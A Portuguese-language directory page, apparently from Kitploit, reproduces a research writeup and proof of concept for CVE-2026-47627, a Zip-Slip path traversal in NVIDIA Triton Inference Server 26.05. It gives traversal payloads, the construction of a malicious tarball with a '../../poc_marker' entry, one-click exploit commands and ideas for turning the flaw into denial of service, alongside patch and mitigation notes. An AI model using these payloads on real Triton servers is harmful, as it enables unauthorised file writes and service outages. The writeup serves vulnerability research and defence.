Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-47627 — Prova de conceito de exploit para CVE-2026-47627, uma vulnerabilidade de path traversal no NVIDIA Triton Inference Server que leva à escrita arbitrária de arquivos via Zip-Slip. Inclui análise detalhada, ambiente de laboratório e scripts de exploit com um clique. | Kitploit
Ferramentas/GitHubGitHub/anekazek/cve-2026-47627
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubanekazek/cve-2026-47627

cve-2026-47627

Prova de conceito de exploit para CVE-2026-47627, uma vulnerabilidade de path traversal no NVIDIA Triton Inference Server que leva à escrita arbitrária de arquivos via Zip-Slip. Inclui análise detalhada, ambiente de laboratório e scripts de exploit com um clique.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Writeup completo dos resultados da pesquisa & PoC neste repositório (imagem nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). Repositório configurado para sempre explicit para que o PoC funcione sem restart via gRPC.


Índice

  1. Resumo do CVE
  2. Ambiente de Laboratório
  3. Anatomia da Vulnerabilidade
  4. Análise da Causa Raiz (Diff 26.05 → 26.06)
  5. Caminhos de Exploração: Qual Realmente Atinge?
  6. PoC Principal: Zip-Slip via EXECUTION_ENV_PATH
  7. Como Executar o PoC (One-Click)
  8. Evidência de Traversal (Não é 500 Falso)
  9. Impacto de DoS
  10. Mitigações
Estrutura do Repositório (Após Limpeza)
  • Referências & Linha do Tempo

  • 1. Resumo do CVE

    CampoValor
    CVECVE-2026-47627
    CNA[email protected]
    Publicação2026-08-18 (NVD Aguardando Análise)
    BoletimNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 Path Traversal
    Afetado0.0-26.05 (server v2.69.0 / core r26.05)
    Corrigido26.06 (server v2.70.0 / core r26.06)
    ImpactoDoS (descrição da CNA) — esta pesquisa comprova escrita de arquivo fora de /models via Zip-Slip, que pode ser expandida para DoS/exaustão de recursos
    CréditoMartin Brodeur

    Nota honesta: A descrição da CNA é apenas path traversal → DoS sem detalhes. Este writeup reconstrói a localização do bug via diff r26.05..r26.06 e testes diretos no container 26.05-py3.


    2. Ambiente de Laboratório

    Imagem: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose sempre explicit (já corrigido neste repositório):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 também já estão explicit.

    Modo Triton:

    • NONE (padrão upstream) → carrega uma vez na inicialização, POST /v2/repository/models/.../load → 503, precisa de restart para carregar novo modelo.
    • POLL → verifica o repositório a cada segundo, carrega automaticamente, ainda bloqueia load explícito.
    • EXPLICIT (este repositório) → não verifica, mas abre gRPC load_model / POST /load → PoC sem restart via gRPC.

    Portas: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Métricas | Prometheus |

    Modelo inicial:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (python backend, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    Quickstart:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + infer identity_onnx
    

    3. Anatomia da Vulnerabilidade

    root@kitploit:~
    User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' check    FileExists / extract
    
    • Se join sem canonicalize ou verificação rfind(parent,0)==0 incorreta (correspondência parcial /models vs /models_evil), então ../ pode escapar.
    • DoS ocorre se o arquivo atravessado for um FIFO, /dev/zero, /proc/self/mem, ou um tar contendo ../../ que sobrescreve arquivos do sistema → hang / OOM / crash.

    Três perguntas de pesquisa (do relatório inicial):

    1. Onde o usuário controla o caminho? → model_name no gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, override file:, TRITON_BATCH_STRATEGY_PATH.
    2. Como o caminho é usado? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. Qual o impacto? → DoS via exaustão de recursos / hang. Neste repositório é comprovada escrita de arquivo em /tmp/poc_marker.

    4. Análise da Causa Raiz (Diff 26.05 → 26.06)

    Repositório core (r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — correção dcb315d + 72f3d9b:

      root@kitploit:~
      // VULNERÁVEL (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → bug de correspondência parcial: prefixo "/models" de "/models_evil/file" considerado interno
      
      // CORRIGIDO (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → deve ter '/' após o prefixo, "/models_evil" agora corretamente fora
      

      Usado em src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) e src/model_repository_manager/model_repository_manager.cc:162 (file:).

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (março de 2026, já em 26.05 mas reforçado em 26.06):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      Isso faz gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT em 26.05 (já bloqueado). Mas %2f (/ codificado) passa porque não é / literal → 500 poll literal.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 teste zipslip_test.py: Tar extraído sem verificação de .. / caminho absoluto. Entry ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz é extraído para /tmp/poc_marker (fora do diretório do modelo). Correção em 26.06: usa ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + verificação IsChildPathEscapingParentPath.

    Repositório server (r26.05..r26.06): apenas sagemaker_server.cc:1027 (verificação RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), não é o caminho deste CVE.

    Conclusão: O caminho model_name via HTTP/gRPC já estava bloqueado em 26.05 pelo ValidateModelName, mas o Zip-Slip do tar não — é isso que o PoC deste repositório explora.


    5. Caminhos de Exploração: Qual Realmente Atinge?

    VetorPayloadResultado 26.05Atinge?
    HTTP raw ../POST /v2/repository/models/../tmp/pwn/load404 (normalização de rota)❌
    HTTP codificado ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 literal, poll /models/..%2ftmp%2fpwn não existe❌ (500 falso, não é traversal)
    gRPC raw ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (já bloqueado)
    gRPC codificado ..%2fload_model('..%2ftmp%2fpwn')500 poll literal❌
    Override file: ../models_evilfile:../models_evil/pwn400/500 dependendo da correspondência parcial⚠️ (depende do bug IsChildPathEscapingParentPath, mas já bloqueado pelo ValidateModelName para model_name)
    EXECUTION_ENV_PATH tar ../../poc_markermalicious_env.tar.gz entry ../../poc_marker200 + arquivo em /tmp/poc_marker✅ VULNERÁVEL

    A analogia 500 vs 400 no writeup antigo estava errada: 500 = arquivo não existe (porta não existe), 400 = rejeitado pela validação (porta trancada). Nenhum dos dois entra. Apenas 200 + arquivo em /tmp é evidência.


    6. PoC Principal: Zip-Slip via EXECUTION_ENV_PATH

    Ideia: O parâmetro EXECUTION_ENV_PATH do backend Python aponta para $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Ao executar load_model('poc_exploit'), o backend pb_env.cc:292 extrai o tar sem sanitização. O entry ../../poc_marker escapa de .../poc_exploit/ para /tmp/poc_marker.

    Etapas do PoC (automatizado em scripts/exploit.py:28 & exploit.ps1:20):

    1. Copiar echo_python → poc_exploit (scripts/exploit.py:35)
    2. Adicionar config.pbtxt (scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. Criar tar (scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. Acionar gRPC load_model('poc_exploit') (scripts/exploit.py:60) — sem restart porque está explicit.
    5. Verificar docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

    7. Como Executar o PoC (One-Click)

    Pré-requisitos: Docker, imagem 26.05-py3 já com docker compose up -d (repositório já está explicit).

    Python (sem restart, via gRPC):

    root@kitploit:~
    py scripts/exploit.py              # auto-detect explicit → gRPC
    py scripts/exploit.py --keep       # manter artefato para verificação manual
    # verificação manual: docker exec tritonserver-test cat /tmp/poc_marker
    # limpeza manual: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    Retornar ao MODE_NONE (se quiser o padrão upstream):

    root@kitploit:~
    # editar docker-compose.yml:12 remover --model-control-mode=explicit
    docker compose up -d --force-recreate
    

    Teste de bloqueio (deve retornar 400/404/500, não 200):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # existia no repositório antigo, agora removido — usar o log do exploit.py
    # ou manual:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. Evidência de Traversal (Não é 500 Falso)

    Vulnerável (26.05) — saída do exploit.py:

    root@kitploit:~
    [*] Triggering exploit via gRPC load (no restart)...
    [+] gRPC load sent
    [+] VULNERABLE: /tmp/poc_marker exists outside /models
        cat: pwned
    [+] Exploit succeeded — file write outside repository confirmed
    

    Verificação:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    Corrigido (26.06) — esperado:

    root@kitploit:~
    [-] Not vulnerable: /tmp/poc_marker not found
    # log: Path contains '..'  (ou Path is absolute)
    

    HTTP/gRPC .. deve retornar 400, não 500:

    root@kitploit:~
    # 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (já bloqueado pelo ValidateModelName)
    # 26.05 gRPC ..%2f → 500 poll literal (ignora validação mas não é traversal real)
    # 26.06 ambos → 400
    

    9. Impacto de DoS

    A CNA escreve DoS, mas este Zip-Slip pode causar sobrescrita de arquivos → DoS:

    • Sobrescrever model.py / config.pbtxt de outro modelo → modelo falha ao carregar → 503
    • Tar contendo bin/activate grande / FIFO /tmp/fifo → hang da thread pb_env.cc → UNAVAILABLE
    • Flood de load_model com tar ../../dev/zero (infinito) → OOM

    Este repositório foca em escrita de arquivo como evidência de traversal; o DoS pode ser expandido com tar contendo 1/model.py com loop infinito.


    10. Mitigações

    1. Patch: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. Workaround 26.05:
      • Não expor 8000/8001 à internet (reverse proxy + autenticação)
      • WAF bloqueando .. & %2f na URL & EXECUTION_ENV_PATH
      • Desabilitar EXECUTION_ENV_PATH do backend Python se não for necessário
    3. Detecção: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. Estrutura do Repositório (Após Limpeza)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # exemplo de backend python
    │   └── identity_onnx/        # exemplo onnxruntime
    ├── scripts/
    │   ├── exploit.py:1          # PoC principal (Python, oneclick, gRPC, sem restart)
    │   ├── generate_model.py     # regenerar identity_onnx
    │   └── client_test.py        # teste de health + infer
    ├── exploit.ps1:1             # PoC principal (PowerShell, oneclick)
    ├── docker-compose.yml:12     # sempre explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # sempre explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # este writeup
    

    Removidos: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. Referências & Linha do Tempo

    • Boletim NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Aguardando Análise)
    • Commits de correção core r26.06: dcb315d (Modernize Child Path), 72f3d9b (teste de child path), e520f8c7 (teste zipslip), 50830ba/66f09f8 (ValidateModelName)
    • Correção server r26.06: v2.70.0 (690f9dd)
    • Crédito: Martin Brodeur
    DataEvento
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 POSIX trim
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 teste zipslip
    2026-06-2626.06 / v2.70.0 lançamento do patch
    2026-08-18Publicação do CVE
    2026-09-02PoC deste repositório verificado em 26.05-py3 → VULNERABLE

    Notas

    Este PoC é para educação & laboratório fechado. Não exponha 8000/8001 sem autenticação. Sempre execute exploit.py --keep e depois docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit após a demonstração.

    Baixar ferramenta